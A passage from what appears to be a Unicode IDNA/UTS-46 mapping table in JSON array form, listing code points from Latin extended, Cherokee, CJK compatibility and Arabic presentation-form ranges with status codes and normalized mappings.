3],2],[[19894,19903],2],[[19904,19967],2],[[19968,40869],2],[[40870,40891],2],[[40892,40899],2],[[40900,40907],2],[40908,2],[[40909,40917],2],[[40918,40938],2],[[40939,40943],2],[[40944,40956],2],[[40957,40959],2],[[40960,42124],2],[[42125,42127],3],[[42128,42145],2],[[42146,42147],2],[[42148,42163],2],[42164,2],[[42165,42176],2],[42177,2],[[42178,42180],2],[42181,2],[42182,2],[[42183,42191],3],[[42192,42237],2],[[42238,42239],2],[[42240,42508],2],[[42509,42511],2],[[42512,42539],2],[[42540,42559],3],[42560,1,"ꙁ"],[42561,2],[42562,1,"ꙃ"],[42563,2],[42564,1,"ꙅ"],[42565,2],[42566,1,"ꙇ"],[42567,2],[42568,1,"ꙉ"],[42569,2],[42570,1,"ꙋ"],[42571,2],[42572,1,"ꙍ"],[42573,2],[42574,1,"ꙏ"],[42575,2],[42576,1,"ꙑ"],[42577,2],[42578,1,"ꙓ"],[42579,2],[42580,1,"ꙕ"],[42581,2],[42582,1,"ꙗ"],[42583,2],[42584,1,"ꙙ"],[42585,2],[42586,1,"ꙛ"],[42587,2],[42588,1,"ꙝ"],[42589,2],[42590,1,"ꙟ"],[42591,2],[42592,1,"ꙡ"],[42593,2],[42594,1,"ꙣ"],[42595,2],[42596,1,"ꙥ"],[42597,2],[42598,1,"ꙧ"],[42599,2],[42600,1,"ꙩ"],[42601,2],[42602,1,"ꙫ"],[42603,2],[42604,1,"ꙭ"],[[42605,42607],2],[[42608,42611],2],[[42612,42619],2],[[42620,42621],2],[42622,2],[42623,2],[42624,1,"ꚁ"],[42625,2],[42626,1,"ꚃ"],[42627,2],[42628,1,"ꚅ"],[42629,2],[42630,1,"ꚇ"],[42631,2],[42632,1,"ꚉ"],[42633,2],[42634,1,"ꚋ"],[42635,2],[42636,1,"ꚍ"],[42637,2],[42638,1,"ꚏ"],[42639,2],[42640,1,"ꚑ"],[42641,2],[42642,1,"ꚓ"],[42643,2],[42644,1,"ꚕ"],[42645,2],[42646,1,"ꚗ"],[42647,2],[42648,1,"ꚙ"],[42649,2],[42650,1,"ꚛ"],[42651,2],[42652,1,"ъ"],[42653,1,"ь"],[42654,2],[42655,2],[[42656,42725],2],[[42726,42735],2],[[42736,42737],2],[[42738,42743],2],[[42744,42751],3],[[42752,42774],2],[[42775,42778],2],[[42779,42783],2],[[42784,42785],2],[42786,1,"ꜣ"],[42787,2],[42788,1,"ꜥ"],[42789,2],[42790,1,"ꜧ"],[42791,2],[42792,1,"ꜩ"],[42793,2],[42794,1,"ꜫ"],[42795,2],[42796,1,"ꜭ"],[42797,2],[42798,1,"ꜯ"],[[42799,42801],2],[42802,1,"ꜳ"],[42803,2],[42804,1,"ꜵ"],[42805,2],[42806,1,"ꜷ"],[42807,2],[42808,1,"ꜹ"],[42809,2],[42810,1,"ꜻ"],[42811,2],[42812,1,"ꜽ"],[42813,2],[42814,1,"ꜿ"],[42815,2],[42816,1,"ꝁ"],[42817,2],[42818,1,"ꝃ"],[42819,2],[42820,1,"ꝅ"],[42821,2],[42822,1,"ꝇ"],[42823,2],[42824,1,"ꝉ"],[42825,2],[42826,1,"ꝋ"],[42827,2],[42828,1,"ꝍ"],[42829,2],[42830,1,"ꝏ"],[42831,2],[42832,1,"ꝑ"],[42833,2],[42834,1,"ꝓ"],[42835,2],[42836,1,"ꝕ"],[42837,2],[42838,1,"ꝗ"],[42839,2],[42840,1,"ꝙ"],[42841,2],[42842,1,"ꝛ"],[42843,2],[42844,1,"ꝝ"],[42845,2],[42846,1,"ꝟ"],[42847,2],[42848,1,"ꝡ"],[42849,2],[42850,1,"ꝣ"],[42851,2],[42852,1,"ꝥ"],[42853,2],[42854,1,"ꝧ"],[42855,2],[42856,1,"ꝩ"],[42857,2],[42858,1,"ꝫ"],[42859,2],[42860,1,"ꝭ"],[42861,2],[42862,1,"ꝯ"],[42863,2],[42864,1,"ꝯ"],[[42865,42872],2],[42873,1,"ꝺ"],[42874,2],[42875,1,"ꝼ"],[42876,2],[42877,1,"ᵹ"],[42878,1,"ꝿ"],[42879,2],[42880,1,"ꞁ"],[42881,2],[42882,1,"ꞃ"],[42883,2],[42884,1,"ꞅ"],[42885,2],[42886,1,"ꞇ"],[[42887,42888],2],[[42889,42890],2],[42891,1,"ꞌ"],[42892,2],[42893,1,"ɥ"],[42894,2],[42895,2],[42896,1,"ꞑ"],[42897,2],[42898,1,"ꞓ"],[42899,2],[[42900,42901],2],[42902,1,"ꞗ"],[42903,2],[42904,1,"ꞙ"],[42905,2],[42906,1,"ꞛ"],[42907,2],[42908,1,"ꞝ"],[42909,2],[42910,1,"ꞟ"],[42911,2],[42912,1,"ꞡ"],[42913,2],[42914,1,"ꞣ"],[42915,2],[42916,1,"ꞥ"],[42917,2],[42918,1,"ꞧ"],[42919,2],[42920,1,"ꞩ"],[42921,2],[42922,1,"ɦ"],[42923,1,"ɜ"],[42924,1,"ɡ"],[42925,1,"ɬ"],[42926,1,"ɪ"],[42927,2],[42928,1,"ʞ"],[42929,1,"ʇ"],[42930,1,"ʝ"],[42931,1,"ꭓ"],[42932,1,"ꞵ"],[42933,2],[42934,1,"ꞷ"],[42935,2],[42936,1,"ꞹ"],[42937,2],[42938,1,"ꞻ"],[42939,2],[42940,1,"ꞽ"],[42941,2],[42942,1,"ꞿ"],[42943,2],[42944,1,"ꟁ"],[42945,2],[42946,1,"ꟃ"],[42947,2],[42948,1,"ꞔ"],[42949,1,"ʂ"],[42950,1,"ᶎ"],[42951,1,"ꟈ"],[42952,2],[42953,1,"ꟊ"],[42954,2],[42955,1,"ɤ"],[42956,1,""],[42957,2],[[42958,42959],3],[42960,1,"ꟑ"],[42961,2],[42962,3],[42963,2],[42964,3],[42965,2],[42966,1,"ꟗ"],[42967,2],[42968,1,"ꟙ"],[42969,2],[42970,1,""],[42971,2],[42972,1,"ƛ"],[[42973,42993],3],[42994,1,"c"],[42995,1,"f"],[42996,1,"q"],[42997,1,"ꟶ"],[42998,2],[42999,2],[43000,1,"ħ"],[43001,1,"œ"],[43002,2],[[43003,43007],2],[[43008,43047],2],[[43048,43051],2],[43052,2],[[43053,43055],3],[[43056,43065],2],[[43066,43071],3],[[43072,43123],2],[[43124,43127],2],[[43128,43135],3],[[43136,43204],2],[43205,2],[[43206,43213],3],[[43214,43215],2],[[43216,43225],2],[[43226,43231],3],[[43232,43255],2],[[43256,43258],2],[43259,2],[43260,2],[43261,2],[[43262,43263],2],[[43264,43309],2],[[43310,43311],2],[[43312,43347],2],[[43348,43358],3],[43359,2],[[43360,43388],2],[[43389,43391],3],[[43392,43456],2],[[43457,43469],2],[43470,3],[[43471,43481],2],[[43482,43485],3],[[43486,43487],2],[[43488,43518],2],[43519,3],[[43520,43574],2],[[43575,43583],3],[[43584,43597],2],[[43598,43599],3],[[43600,43609],2],[[43610,43611],3],[[43612,43615],2],[[43616,43638],2],[[43639,43641],2],[[43642,43643],2],[[43644,43647],2],[[43648,43714],2],[[43715,43738],3],[[43739,43741],2],[[43742,43743],2],[[43744,43759],2],[[43760,43761],2],[[43762,43766],2],[[43767,43776],3],[[43777,43782],2],[[43783,43784],3],[[43785,43790],2],[[43791,43792],3],[[43793,43798],2],[[43799,43807],3],[[43808,43814],2],[43815,3],[[43816,43822],2],[43823,3],[[43824,43866],2],[43867,2],[43868,1,"ꜧ"],[43869,1,"ꬷ"],[43870,1,"ɫ"],[43871,1,"ꭒ"],[[43872,43875],2],[[43876,43877],2],[[43878,43879],2],[43880,2],[43881,1,"ʍ"],[[43882,43883],2],[[43884,43887],3],[43888,1,"Ꭰ"],[43889,1,"Ꭱ"],[43890,1,"Ꭲ"],[43891,1,"Ꭳ"],[43892,1,"Ꭴ"],[43893,1,"Ꭵ"],[43894,1,"Ꭶ"],[43895,1,"Ꭷ"],[43896,1,"Ꭸ"],[43897,1,"Ꭹ"],[43898,1,"Ꭺ"],[43899,1,"Ꭻ"],[43900,1,"Ꭼ"],[43901,1,"Ꭽ"],[43902,1,"Ꭾ"],[43903,1,"Ꭿ"],[43904,1,"Ꮀ"],[43905,1,"Ꮁ"],[43906,1,"Ꮂ"],[43907,1,"Ꮃ"],[43908,1,"Ꮄ"],[43909,1,"Ꮅ"],[43910,1,"Ꮆ"],[43911,1,"Ꮇ"],[43912,1,"Ꮈ"],[43913,1,"Ꮉ"],[43914,1,"Ꮊ"],[43915,1,"Ꮋ"],[43916,1,"Ꮌ"],[43917,1,"Ꮍ"],[43918,1,"Ꮎ"],[43919,1,"Ꮏ"],[43920,1,"Ꮐ"],[43921,1,"Ꮑ"],[43922,1,"Ꮒ"],[43923,1,"Ꮓ"],[43924,1,"Ꮔ"],[43925,1,"Ꮕ"],[43926,1,"Ꮖ"],[43927,1,"Ꮗ"],[43928,1,"Ꮘ"],[43929,1,"Ꮙ"],[43930,1,"Ꮚ"],[43931,1,"Ꮛ"],[43932,1,"Ꮜ"],[43933,1,"Ꮝ"],[43934,1,"Ꮞ"],[43935,1,"Ꮟ"],[43936,1,"Ꮠ"],[43937,1,"Ꮡ"],[43938,1,"Ꮢ"],[43939,1,"Ꮣ"],[43940,1,"Ꮤ"],[43941,1,"Ꮥ"],[43942,1,"Ꮦ"],[43943,1,"Ꮧ"],[43944,1,"Ꮨ"],[43945,1,"Ꮩ"],[43946,1,"Ꮪ"],[43947,1,"Ꮫ"],[43948,1,"Ꮬ"],[43949,1,"Ꮭ"],[43950,1,"Ꮮ"],[43951,1,"Ꮯ"],[43952,1,"Ꮰ"],[43953,1,"Ꮱ"],[43954,1,"Ꮲ"],[43955,1,"Ꮳ"],[43956,1,"Ꮴ"],[43957,1,"Ꮵ"],[43958,1,"Ꮶ"],[43959,1,"Ꮷ"],[43960,1,"Ꮸ"],[43961,1,"Ꮹ"],[43962,1,"Ꮺ"],[43963,1,"Ꮻ"],[43964,1,"Ꮼ"],[43965,1,"Ꮽ"],[43966,1,"Ꮾ"],[43967,1,"Ꮿ"],[[43968,44010],2],[44011,2],[[44012,44013],2],[[44014,44015],3],[[44016,44025],2],[[44026,44031],3],[[44032,55203],2],[[55204,55215],3],[[55216,55238],2],[[55239,55242],3],[[55243,55291],2],[[55292,55295],3],[[55296,57343],3],[[57344,63743],3],[63744,1,"豈"],[63745,1,"更"],[63746,1,"車"],[63747,1,"賈"],[63748,1,"滑"],[63749,1,"串"],[63750,1,"句"],[[63751,63752],1,"龜"],[63753,1,"契"],[63754,1,"金"],[63755,1,"喇"],[63756,1,"奈"],[63757,1,"懶"],[63758,1,"癩"],[63759,1,"羅"],[63760,1,"蘿"],[63761,1,"螺"],[63762,1,"裸"],[63763,1,"邏"],[63764,1,"樂"],[63765,1,"洛"],[63766,1,"烙"],[63767,1,"珞"],[63768,1,"落"],[63769,1,"酪"],[63770,1,"駱"],[63771,1,"亂"],[63772,1,"卵"],[63773,1,"欄"],[63774,1,"爛"],[63775,1,"蘭"],[63776,1,"鸞"],[63777,1,"嵐"],[63778,1,"濫"],[63779,1,"藍"],[63780,1,"襤"],[63781,1,"拉"],[63782,1,"臘"],[63783,1,"蠟"],[63784,1,"廊"],[63785,1,"朗"],[63786,1,"浪"],[63787,1,"狼"],[63788,1,"郎"],[63789,1,"來"],[63790,1,"冷"],[63791,1,"勞"],[63792,1,"擄"],[63793,1,"櫓"],[63794,1,"爐"],[63795,1,"盧"],[63796,1,"老"],[63797,1,"蘆"],[63798,1,"虜"],[63799,1,"路"],[63800,1,"露"],[63801,1,"魯"],[63802,1,"鷺"],[63803,1,"碌"],[63804,1,"祿"],[63805,1,"綠"],[63806,1,"菉"],[63807,1,"錄"],[63808,1,"鹿"],[63809,1,"論"],[63810,1,"壟"],[63811,1,"弄"],[63812,1,"籠"],[63813,1,"聾"],[63814,1,"牢"],[63815,1,"磊"],[63816,1,"賂"],[63817,1,"雷"],[63818,1,"壘"],[63819,1,"屢"],[63820,1,"樓"],[63821,1,"淚"],[63822,1,"漏"],[63823,1,"累"],[63824,1,"縷"],[63825,1,"陋"],[63826,1,"勒"],[63827,1,"肋"],[63828,1,"凜"],[63829,1,"凌"],[63830,1,"稜"],[63831,1,"綾"],[63832,1,"菱"],[63833,1,"陵"],[63834,1,"讀"],[63835,1,"拏"],[63836,1,"樂"],[63837,1,"諾"],[63838,1,"丹"],[63839,1,"寧"],[63840,1,"怒"],[63841,1,"率"],[63842,1,"異"],[63843,1,"北"],[63844,1,"磻"],[63845,1,"便"],[63846,1,"復"],[63847,1,"不"],[63848,1,"泌"],[63849,1,"數"],[63850,1,"索"],[63851,1,"參"],[63852,1,"塞"],[63853,1,"省"],[63854,1,"葉"],[63855,1,"說"],[63856,1,"殺"],[63857,1,"辰"],[63858,1,"沈"],[63859,1,"拾"],[63860,1,"若"],[63861,1,"掠"],[63862,1,"略"],[63863,1,"亮"],[63864,1,"兩"],[63865,1,"凉"],[63866,1,"梁"],[63867,1,"糧"],[63868,1,"良"],[63869,1,"諒"],[63870,1,"量"],[63871,1,"勵"],[63872,1,"呂"],[63873,1,"女"],[63874,1,"廬"],[63875,1,"旅"],[63876,1,"濾"],[63877,1,"礪"],[63878,1,"閭"],[63879,1,"驪"],[63880,1,"麗"],[63881,1,"黎"],[63882,1,"力"],[63883,1,"曆"],[63884,1,"歷"],[63885,1,"轢"],[63886,1,"年"],[63887,1,"憐"],[63888,1,"戀"],[63889,1,"撚"],[63890,1,"漣"],[63891,1,"煉"],[63892,1,"璉"],[63893,1,"秊"],[63894,1,"練"],[63895,1,"聯"],[63896,1,"輦"],[63897,1,"蓮"],[63898,1,"連"],[63899,1,"鍊"],[63900,1,"列"],[63901,1,"劣"],[63902,1,"咽"],[63903,1,"烈"],[63904,1,"裂"],[63905,1,"說"],[63906,1,"廉"],[63907,1,"念"],[63908,1,"捻"],[63909,1,"殮"],[63910,1,"簾"],[63911,1,"獵"],[63912,1,"令"],[63913,1,"囹"],[63914,1,"寧"],[63915,1,"嶺"],[63916,1,"怜"],[63917,1,"玲"],[63918,1,"瑩"],[63919,1,"羚"],[63920,1,"聆"],[63921,1,"鈴"],[63922,1,"零"],[63923,1,"靈"],[63924,1,"領"],[63925,1,"例"],[63926,1,"禮"],[63927,1,"醴"],[63928,1,"隸"],[63929,1,"惡"],[63930,1,"了"],[63931,1,"僚"],[63932,1,"寮"],[63933,1,"尿"],[63934,1,"料"],[63935,1,"樂"],[63936,1,"燎"],[63937,1,"療"],[63938,1,"蓼"],[63939,1,"遼"],[63940,1,"龍"],[63941,1,"暈"],[63942,1,"阮"],[63943,1,"劉"],[63944,1,"杻"],[63945,1,"柳"],[63946,1,"流"],[63947,1,"溜"],[63948,1,"琉"],[63949,1,"留"],[63950,1,"硫"],[63951,1,"紐"],[63952,1,"類"],[63953,1,"六"],[63954,1,"戮"],[63955,1,"陸"],[63956,1,"倫"],[63957,1,"崙"],[63958,1,"淪"],[63959,1,"輪"],[63960,1,"律"],[63961,1,"慄"],[63962,1,"栗"],[63963,1,"率"],[63964,1,"隆"],[63965,1,"利"],[63966,1,"吏"],[63967,1,"履"],[63968,1,"易"],[63969,1,"李"],[63970,1,"梨"],[63971,1,"泥"],[63972,1,"理"],[63973,1,"痢"],[63974,1,"罹"],[63975,1,"裏"],[63976,1,"裡"],[63977,1,"里"],[63978,1,"離"],[63979,1,"匿"],[63980,1,"溺"],[63981,1,"吝"],[63982,1,"燐"],[63983,1,"璘"],[63984,1,"藺"],[63985,1,"隣"],[63986,1,"鱗"],[63987,1,"麟"],[63988,1,"林"],[63989,1,"淋"],[63990,1,"臨"],[63991,1,"立"],[63992,1,"笠"],[63993,1,"粒"],[63994,1,"狀"],[63995,1,"炙"],[63996,1,"識"],[63997,1,"什"],[63998,1,"茶"],[63999,1,"刺"],[64000,1,"切"],[64001,1,"度"],[64002,1,"拓"],[64003,1,"糖"],[64004,1,"宅"],[64005,1,"洞"],[64006,1,"暴"],[64007,1,"輻"],[64008,1,"行"],[64009,1,"降"],[64010,1,"見"],[64011,1,"廓"],[64012,1,"兀"],[64013,1,"嗀"],[[64014,64015],2],[64016,1,"塚"],[64017,2],[64018,1,"晴"],[[64019,64020],2],[64021,1,"凞"],[64022,1,"猪"],[64023,1,"益"],[64024,1,"礼"],[64025,1,"神"],[64026,1,"祥"],[64027,1,"福"],[64028,1,"靖"],[64029,1,"精"],[64030,1,"羽"],[64031,2],[64032,1,"蘒"],[64033,2],[64034,1,"諸"],[[64035,64036],2],[64037,1,"逸"],[64038,1,"都"],[[64039,64041],2],[64042,1,"飯"],[64043,1,"飼"],[64044,1,"館"],[64045,1,"鶴"],[64046,1,"郞"],[64047,1,"隷"],[64048,1,"侮"],[64049,1,"僧"],[64050,1,"免"],[64051,1,"勉"],[64052,1,"勤"],[64053,1,"卑"],[64054,1,"喝"],[64055,1,"嘆"],[64056,1,"器"],[64057,1,"塀"],[64058,1,"墨"],[64059,1,"層"],[64060,1,"屮"],[64061,1,"悔"],[64062,1,"慨"],[64063,1,"憎"],[64064,1,"懲"],[64065,1,"敏"],[64066,1,"既"],[64067,1,"暑"],[64068,1,"梅"],[64069,1,"海"],[64070,1,"渚"],[64071,1,"漢"],[64072,1,"煮"],[64073,1,"爫"],[64074,1,"琢"],[64075,1,"碑"],[64076,1,"社"],[64077,1,"祉"],[64078,1,"祈"],[64079,1,"祐"],[64080,1,"祖"],[64081,1,"祝"],[64082,1,"禍"],[64083,1,"禎"],[64084,1,"穀"],[64085,1,"突"],[64086,1,"節"],[64087,1,"練"],[64088,1,"縉"],[64089,1,"繁"],[64090,1,"署"],[64091,1,"者"],[64092,1,"臭"],[[64093,64094],1,"艹"],[64095,1,"著"],[64096,1,"褐"],[64097,1,"視"],[64098,1,"謁"],[64099,1,"謹"],[64100,1,"賓"],[64101,1,"贈"],[64102,1,"辶"],[64103,1,"逸"],[64104,1,"難"],[64105,1,"響"],[64106,1,"頻"],[64107,1,"恵"],[64108,1,"𤋮"],[64109,1,"舘"],[[64110,64111],3],[64112,1,"並"],[64113,1,"况"],[64114,1,"全"],[64115,1,"侀"],[64116,1,"充"],[64117,1,"冀"],[64118,1,"勇"],[64119,1,"勺"],[64120,1,"喝"],[64121,1,"啕"],[64122,1,"喙"],[64123,1,"嗢"],[64124,1,"塚"],[64125,1,"墳"],[64126,1,"奄"],[64127,1,"奔"],[64128,1,"婢"],[64129,1,"嬨"],[64130,1,"廒"],[64131,1,"廙"],[64132,1,"彩"],[64133,1,"徭"],[64134,1,"惘"],[64135,1,"慎"],[64136,1,"愈"],[64137,1,"憎"],[64138,1,"慠"],[64139,1,"懲"],[64140,1,"戴"],[64141,1,"揄"],[64142,1,"搜"],[64143,1,"摒"],[64144,1,"敖"],[64145,1,"晴"],[64146,1,"朗"],[64147,1,"望"],[64148,1,"杖"],[64149,1,"歹"],[64150,1,"殺"],[64151,1,"流"],[64152,1,"滛"],[64153,1,"滋"],[64154,1,"漢"],[64155,1,"瀞"],[64156,1,"煮"],[64157,1,"瞧"],[64158,1,"爵"],[64159,1,"犯"],[64160,1,"猪"],[64161,1,"瑱"],[64162,1,"甆"],[64163,1,"画"],[64164,1,"瘝"],[64165,1,"瘟"],[64166,1,"益"],[64167,1,"盛"],[64168,1,"直"],[64169,1,"睊"],[64170,1,"着"],[64171,1,"磌"],[64172,1,"窱"],[64173,1,"節"],[64174,1,"类"],[64175,1,"絛"],[64176,1,"練"],[64177,1,"缾"],[64178,1,"者"],[64179,1,"荒"],[64180,1,"華"],[64181,1,"蝹"],[64182,1,"襁"],[64183,1,"覆"],[64184,1,"視"],[64185,1,"調"],[64186,1,"諸"],[64187,1,"請"],[64188,1,"謁"],[64189,1,"諾"],[64190,1,"諭"],[64191,1,"謹"],[64192,1,"變"],[64193,1,"贈"],[64194,1,"輸"],[64195,1,"遲"],[64196,1,"醙"],[64197,1,"鉶"],[64198,1,"陼"],[64199,1,"難"],[64200,1,"靖"],[64201,1,"韛"],[64202,1,"響"],[64203,1,"頋"],[64204,1,"頻"],[64205,1,"鬒"],[64206,1,"龜"],[64207,1,"𢡊"],[64208,1,"𢡄"],[64209,1,"𣏕"],[64210,1,"㮝"],[64211,1,"䀘"],[64212,1,"䀹"],[64213,1,"𥉉"],[64214,1,"𥳐"],[64215,1,"𧻓"],[64216,1,"齃"],[64217,1,"龎"],[[64218,64255],3],[64256,1,"ff"],[64257,1,"fi"],[64258,1,"fl"],[64259,1,"ffi"],[64260,1,"ffl"],[[64261,64262],1,"st"],[[64263,64274],3],[64275,1,"մն"],[64276,1,"մե"],[64277,1,"մի"],[64278,1,"վն"],[64279,1,"մխ"],[[64280,64284],3],[64285,1,"יִ"],[64286,2],[64287,1,"ײַ"],[64288,1,"ע"],[64289,1,"א"],[64290,1,"ד"],[64291,1,"ה"],[64292,1,"כ"],[64293,1,"ל"],[64294,1,"ם"],[64295,1,"ר"],[64296,1,"ת"],[64297,1,"+"],[64298,1,"שׁ"],[64299,1,"שׂ"],[64300,1,"שּׁ"],[64301,1,"שּׂ"],[64302,1,"אַ"],[64303,1,"אָ"],[64304,1,"אּ"],[64305,1,"בּ"],[64306,1,"גּ"],[64307,1,"דּ"],[64308,1,"הּ"],[64309,1,"וּ"],[64310,1,"זּ"],[64311,3],[64312,1,"טּ"],[64313,1,"יּ"],[64314,1,"ךּ"],[64315,1,"כּ"],[64316,1,"לּ"],[64317,3],[64318,1,"מּ"],[64319,3],[64320,1,"נּ"],[64321,1,"סּ"],[64322,3],[64323,1,"ףּ"],[64324,1,"פּ"],[64325,3],[64326,1,"צּ"],[64327,1,"קּ"],[64328,1,"רּ"],[64329,1,"שּ"],[64330,1,"תּ"],[64331,1,"וֹ"],[64332,1,"בֿ"],[64333,1,"כֿ"],[64334,1,"פֿ"],[64335,1,"אל"],[[64336,64337],1,"ٱ"],[[64338,64341],1,"ٻ"],[[64342,64345],1,"پ"],[[64346,64349],1,"ڀ"],[[64350,64353],1,"ٺ"],[[64354,64357],1,"ٿ"],[[64358,64361],1,"ٹ"],[[64362,64365],1,"ڤ"],[[64366,64369],1,"ڦ"],[[64370,64373],1,"ڄ"],[[64374,64377],1,"ڃ"],[[64378,64381],1,"چ"],[[64382,64385],1,"ڇ"],[[64386,64387],1,"ڍ"],[[64388,64389],1,"ڌ"],[[64390,64391],1,"ڎ"],[[64392,64393],1,"ڈ"],[[64394,64395],1,"ژ"],[[64396,64397],1,"ڑ"],[[64398,64401],1,"ک"],[[64402,64405],1,"گ"],[[64406,64409],1,"ڳ"],[[64410,64413],1,"ڱ"],[[64414,64415],1,"ں"],[[64416,64419],1,"ڻ"],[[64420,64421],1,"ۀ"],[[64422,64425],1,"ہ"],[[64426,64429],1,"ھ"],[[64430,64431],1,"ے"],[[64432,64433],1,"ۓ"],[[64434,64449],2],[64450,2],[[64451,64466],3],[[64467,64470],1,"ڭ"],[[64471,64472],1,"ۇ"],[[64473,64474],1,"ۆ"],[[64475,64476],1,"ۈ"],[64477,1,"ۇٴ"],[[64478,64479],1,"ۋ"],[[64480,64481],1,"ۅ"],[[64482,64483],1,"ۉ"],[[64484,64487],1,"ې"],[[64488,64489],1,"ى"],[[64490,64491],1,"ئا"],[[64492,64493],1,"ئە"],[[64494,64495],1,"ئو"],[[64496,64497],1,"ئۇ"],[[64498,64499],1,"ئۆ"],[[64500,64501],1,"ئۈ"],[[64502,64504],1,"ئې"],[[64505,64507],1,"ئى"],[[64508,64511],1,"ی"],[64512,1,"ئج"],[64513,1,"ئح"],[64514,1,"ئم"],[64515,1,"ئى"],[64516,1,"ئي"],[64517,1,"بج"],[64518,1,"بح"],[64519,1,"بخ"],[64520,1,"بم"],[64521,1,"بى"],[64522,1,"بي"],[64523,1,"تج"],[64524,1,"تح"],[64525,1,"تخ"],[64526,1,"تم"],[64527,1,"تى"],[64528,1,"تي"],[64529,1,"ثج"],[64530,1,"ثم"],[64531,1,"ثى"],[64532,1,"ثي"],[64533,1,"جح"],[64534,1,"جم"],[64535,1,"حج"],[64536,1,"حم"],[64537,1,"خج"],[64538,1,"خح"],[64539,1,"خم"],[64540,1,"سج"],[64541,1,"سح"],[64542,1,"سخ"],[64543,1,"سم"],[64544,1,"صح"],[64545,1,"صم"],[64546,1,"ضج"],[64547,1,"ضح"],[64548,1,"ضخ"],[64549,1,"ضم"],[64550,1,"طح"],[64551,1,"طم"],[64552,1,"ظم"],[64553,1,"عج"],[64554,1,"عم"],[64555,1,"غج"],[64556,1,"غم"],[64557,1,"فج"],[64558,1,"فح"],[64559,1,"فخ"],[64560,1,"فم"],[64561,1,"فى"],[64562,1,"في"],[64563,1,"قح"],[64564,1,"قم"],[64565,1,"قى"],[64566,1,"قي"],[64567,1,"كا"],[64568,1,"كج"],[64569,1,"كح"],[64570,1,"كخ"],[64571,1,"كل"],[64572,1,"كم"],[64573,1,"كى"],[64574,1,"كي"],[64575,1,"لج"],[64576,1,"لح"],[64577,1,"لخ"],[64578,1,"لم"],[64579,1,"لى"],[64580,1,"لي"],[64581,1,"مج"],[64582,1,"مح"],[64583,1,"مخ"],[64584,1,"مم"],[64585,1,"مى"],[64586,1,"مي"],[64587,1,"نج"],[64588,1,"نح"],[64589,1,"نخ"],[64590,1,"نم"],[64591,1,"نى"],[64592,1,"ني"],[64593,1,"هج"],[64594,1,"هم"],[64595,1,"هى"],[64596,1,"هي"],[64597,1,"يج"],[64598,1,"يح"],[64599,1,"يخ"],[64600,1,"يم"],[64601,1,"يى"],[64602,1,"يي"],[64603,1,"ذٰ"],[64604,1,"رٰ"],[64605,1,"ىٰ"],[64606,1," ٌّ"],[64607,1," ٍّ"],[64608,1," َّ"],[64609,1," ُّ"],[64610,1," ِّ"],[64611,1," ّٰ"],[64612,1,"ئر"],[64613,1,"ئز"],[64614,1,"ئم"],[64615,1,"ئن"],[64616,1,"ئى"],[64617,1,"ئي"],[64618,1,"بر"],[64619,1,"بز"],[64620,1,"بم"],[64621,1,"بن"],[64622,1,"بى"],[64623,1,"بي"],[64624,1,"تر"],[64625,1,"تز"],[64626,1,"تم"],[64627,1,"تن"],[64628,1,"تى"],[64629,1,"تي"],[64630,1,"ثر"],[64631,1,"ثز"],[64632,1,"ثم"],[64633,1,"ثن"],[64634,1,"ثى"],[64635,1,"ثي"],[64636,1,"فى"],[64637,1,"في"],[64638,1,"قى"],[64639,1,"قي"],[64640,1,"كا"],[64641,1,"كل"],[64642,1,"كم"],[64643,1,"كى"],[64644,1,"كي"],[64645,1,"لم"],[64646,1,"لى"],[64647,1,"لي"],[64648,1,"ما"],[64649,1,"مم"],[64650,1,"نر"],[64651,1,"نز"],[64652,1,"نم"],[64653,1,"نن"],[64654,1,"نى"],[64655,1,"ني"],[64656,1,"ىٰ"],[64657,1,"ير"],[64658,1,"يز"],[64659,1,"يم"],[64660,1,"ين"],[64661,1,"يى"],[64662,1,"يي"],[64663,1,"ئج"],[64664,1,"ئح"],[64665,1,"ئخ"],[64666,1,"ئم"],[64667,1,"ئه"],[64668,1,"بج"],[64669,1,"بح"],[64670,1,"بخ"],[64671,1,"بم"],[64672,1,"به"],[64673,1,"تج"],[64674,1,"تح"],[64675,1,"تخ"],[64676,1,"تم"],[64677,1,"ته"],[64678,1,"ثم"],[64679,1,"جح"],[64680,1,"جم"],[64681,1,"حج"],[64682,1,"حم"],[64683,1,"خج"],[64684,1,"خم"],[64685,1,"سج"],[64686,1,"سح"],[64687,1,"سخ"],[64688,1,"سم"],[64689,1,"صح"],[64690,1,"صخ"],[64691,1,"صم"],[64692,1,"ضج"],[64693,1,"ضح"],[64694,1,"ضخ"],[64695,1,"ضم"],[64696,1,"طح"],[64697,1,"ظم"],[64698,1,"عج"],[64699,1,"عم"],[64700,1,"غج"],[64701,1,"غم"],[64702,1,"فج"],[64703,1,"فح"],[64704,1,"فخ"],[64705,1,"فم"],[64706,1,"قح"],[64707,1,"قم"],[64708,1,"كج"],[64709,1,"كح"],[64710,1,"كخ"],[64711,1,"كل"],[64712,1,"كم"],[64713,1,"لج"],[64714,1,"لح"],[64715,1,"لخ"],[64716,1,"لم"],[64717,1,"له"],[64718,1,"مج"],[64719,1,"مح"],[64720,1,"مخ"],[64721,1,"مم"],[64722,1,"نج"],[64723,1,"نح"],[64724,1,"نخ"],[64725,1,"نم"],[64726,1,"نه"],[64727,1,"هج"],[64728,1,"هم"],[64729,1,"هٰ"],[64730,1,"يج"],[64731,1,"يح"],[64732,1,"يخ"],[64733,1,"يم"],[64734,1,"يه"],[64735,1,"ئم"],[64736,1,"ئه"],[64737,1,"بم"],[64738,1,"به"],[64739,1,"تم"],[64740,1,"ته"],[64741,1,"ثم"],[64742,1,"ثه"],[64743,1,"سم"],[64744,1,"سه"],[64745,1,"شم"],[64746,1,"شه"],[64747,1,"كل"],[64748,1,"كم"],[64749,1,"لم"],[64750,1,"نم"],[64751,1,"نه"],[64752,1,"يم"],[64753,1,"يه"],[64754,1,"ـَّ"],[64755,1,"ـُّ"],[64756,1,"ـِّ"],[64757,1,"طى"],[64758,1,"طي"],[64759,1,"عى"],[64760,1,"عي"],[64761,1,"غى"],[64762,1,"غي"],[64763,1,"سى"],[64764,1,"سي"],[64765,1,"شى"],[64766,1,"شي"],[64767,1,"حى"],[64768,1,"حي"],[64769,1,"جى"],[64770,1,"جي"],[64771,1,"خى"],[64772,1,"خي"],[64773,1,"صى"],[64774,1,"صي"],[64775,1,"ضى"],[64776,1,"ضي"],[64777,1,"شج"],[64778,1,"شح"],[64779,1,"شخ"],[64780,1,"شم"],[64781,1,"شر"],[64782,1,"سر"],[64783,1,"صر"],[64784,1,"ضر"],[64785,1,"طى"],[64786,1,"طي"],[64787,1,"عى"],[64788,1,"عي"],[64789,1,"غى"],[64790,1,"غي"],[64791,1,"سى"],[64792,1,"سي"],[64793,1,"شى"],[64794,1,"شي"],[64795,1,"حى"],[64796,1,"حي"],[6